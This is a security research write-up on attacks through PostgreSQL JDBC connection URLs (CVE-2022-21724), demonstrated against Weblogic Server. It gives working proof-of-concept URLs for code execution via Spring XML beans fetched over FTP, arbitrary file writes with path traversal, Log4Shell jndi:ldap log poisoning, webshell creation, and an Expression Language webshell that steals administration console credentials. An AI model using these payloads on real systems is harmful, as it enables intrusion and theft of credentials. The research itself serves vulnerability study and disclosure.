Make JDBC Attacks Great Again II
0x01 Forewords
In my previous presentation at the HITB Singapore Security Conference in 2021, titled “Make JDBC Attacks Brilliant Again,” I delved into the vulnerabilities associated with JDBC (Java Database Connectivity) in various database systems. While the focus was comprehensive, one notable database that was absent from the discussion was PostgreSQL. Recently, I have come across insights regarding JDBC attacks specifically targeting PostgreSQL, prompting me to compile an additional chapter to my original work.
0x02 PostgreSQL JDBC Driver Remote Code Execution(CVE-2022-21724)
Just like other JDBC drivers, PostgreSQL JDBC driver is on supportive of many properties. Let me start with the pair of properties in CVE-2022-21724
a. socketFactory / socketFactoryArg
The official documents state that:
As always, debug and figure out the internal function calling procedure, here, my PostgreSQL driver version is 42.3.1, I write the following code in order to print version.
1 | System.out.println("PostgreSQL Driver Version: " + org.postgresql.Driver.class.getPackage().getImplementationVersion()); |
Set the property empty and execute the code, it throws exceptions.
Refer to the exceptions, set tne breakpoint at getSocketFactory()
Then step into ObjectFactory.instantiate()
According to this, we figure out socketFactory
is used to initialize objects and there is only one string type argument of the constructor.
Therefore we only need to look for an eligible class, it reminds me of the couple of classes as follow
org.springframework.context.support.ClassPathXmlApplicationContext
org.springframework.context.support.FileSystemXmlApplicationContext
We can load the following XML file by one of the above classes
1 | <?xml version="1.0" encoding="UTF-8" ?> |
Start a ftp server
python3 -m pyftpdlib -d .
Check the result
Maybe it also reminds someone of another class, like java.io.FileOutputStream
. Utilize the class and ../../
to archive traveral path and empty an file arbitrarily. In my illustation, I create an empty file named test.log
.
b. sslFactory / sslFactoryArg
Official document introduction
Actually, they are as similar as socketFactory/socketFactoryArg
, only a little differencs, the couple of properties are utilized to judge whether it is an encrypted connection with a SSL handshake.
About SSL handshake judgement, we can figure out if the recieved request starting with big letter S
after establishing connection, it is on supportive of SSL protocol.
Then step into SSLSocketFactory()
Next step, focus on SSLSocketFactory
From here on, the code logic is the same as before.To avoid repetition, it’s not described in this article.Consequently we only give a response with big letter S
after establishing connection, it will be trigged successfully.
c. Weblogic Server Remote Code Execution
I mentioned this class org.springframework.context.support.FileSystemXmlApplicationContext
in the above illustration.But in Weblogic Server, there is a similar class com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
Pay attention to check these two jar files as follow
They are both necessary, fortunately built-in by default.
Finnally construct the PoC
1 | jdbc:postgresql://127.0.0.1:5432/testdb?&socketFactory=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=ftp://127.0.0.1:2121/bean.xml |
Check the result
0x03 PostgreSQL JDBC Driver arbitrary file write
a. loggerLevel / loggerFile
Official document introduction
So PoC can be contructed like this
jdbc:postgresql://localhost:5432/testdb?loggerLevel=TRACE&loggerFile=pgjdbc.log
b. Log4Shell Logger Injection
Apparently even though the database connection is failed, all the logs will be written into the specific log file. In order to pollute the log file, we can insert Log4Shell
payload into JDBC connection URL.
1 | jdbc:postgresql://localhost:5432/${jndi:ldap://127.0.0.1:1389/eajmgl}?loggerLevel=TRACE&loggerFile=pgjdbc.log |
When using Apache Log4j2 library to read polluted log file, RCE will be triggered.
c. Weblogic Server Concise Webshell
In order to check the result easily, I use another property ApplicationName
. Honestly it’s not necessary.
Try to create a Webshell with a line of concise JSP code. The target directory is../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/
The preliminary payload seems like this
1 | jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=<%Runtime.getRuntime().exec("open -a calculator")};%>&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/she11.jsp |
Unfortunately it throws exceptions directly, Weblogic Server will decode %Ru
(%
and the next two characters Ru
) with URLDecoder()
method,the exception is as follow
1 | Could not establish a connection because of java.lang.IllegalArgumentException: URLDecoder: Illegal hex characters in escape (%) pattern - For input string: "Ru"<br/> |
Suddenly Expression Language comes to my mind, it can replace JSP to avoid decoding %
exceptionally. By the way, Servlet <=2.3 is not supportive of Expression Language by default.It’s necessary to make sure the Weblogic Server built-in Servlet version. In my illustration, Weblogic Server14 with its built-in Servlet 4.0. Servlet > 2.3 is supportive of Expression Language by default.
Everything is ready. The final PoC like this
1 | jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=${Runtime.getRuntime().exec("open -a calculator")}&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/calc.jsp |
Access Webshell URL, then the calculator pops up.
d. Weblogic Server Console Password Stealing Webshell
In the above illustration, I replace JSP with Expression Language successfully, but Expression Language is limited, for example, value cannot be assigned to a variable.
As we know,the Expression Language defines a set of implicit objects,like pageContext
, it’s pretty useful.
When instantiating the class javax.servlet.jsp.PageContext
, we create an object pageContext
, it represnets the entire JSP page.
Set attribute with pageContext.setAttribute()
method and get attribute with pageContext.getAttribute()
. If the page scope is not appointed,the order will be page → request → session → application
. Page scope is the default, and the pageContext
object belongs to page scope.
If you know about the above acknowledge, using Java reflection can achieve the desired effect. So the final PoC like this
1 | jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=${pageContext.setAttribute("classLoader",Thread.currentThread().getContextClassLoader());pageContext.setAttribute("httpDataTransferHandler",pageContext.getAttribute("classLoader").loadClass("weblogic.deploy.service.datatransferhandlers.HttpDataTransferHandler"));pageContext.setAttribute("managementService", pageContext.getAttribute("classLoader").loadClass("weblogic.management.provider.ManagementService"));pageContext.setAttribute("authenticatedSubject",pageContext.getAttribute("classLoader").loadClass("weblogic.security.acl.internal.AuthenticatedSubject"));pageContext.setAttribute("propertyService",pageContext.getAttribute("classLoader").loadClass("weblogic.management.provider.PropertyService"));pageContext.setAttribute("KERNE_ID",pageContext.getAttribute("httpDataTransferHandler").getDeclaredField("KERNE_ID"));pageContext.getAttribute("KERNE_ID").setAccessible(true);pageContext.setAttribute("getPropertyService",managementService.getMethod("getPropertyService",pageContext.getAttribute("authenticatedSubject")));pageContext.getAttribute("getPropertyService").setAccessible(true);pageContext.setAttribute("prop",pageContext.getAttribute("getPropertyService").invoke(null,pageContext.getAttribute("KERNE_ID").get((null))));pageContext.setAttribute("getTimestamp1",propertyService.getMethod("getTimestamp1"));pageContext.getAttribute("getTimestamp1").setAccessible(true);pageContext.setAttribute("getTimestamp2",propertyService.getMethod("getTimestamp2"));pageContext.getAttribute("getTimestamp2").setAccessible(true);pageContext.setAttribute("username", pageContext.getAttribute("getTimestamp1").invoke(pageContext.getAttribute("prop")));pageContext.setAttribute("password",pageContext.getAttribute("getTimestamp2").invoke(pageContext.getAttribute("prop")));pageContext.getAttribute("username").concat("/").concat(pageContext.getAttribute("password"))}&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/passwd.jsp |
At last, access the Webshell which we create. Steal the username and password successfully, they are log-in credentials of Weblogic Server administration console.
0x04 Conclusion
JDBC is widely used because of the Java language.So the attack interface of JDBC makes a great impact. One scenario is cloud computing platform, the users can configure their JDBC connections of a cloud database service.The other scenario is authorization bypass weakness in Java frameworks.Both the scenarios make JDBC connection URL controllable easily.
I summarize my research as a write-up and hope someone insterested with the attack interface will follow my research and keep on making JDBC attacks brilliant again!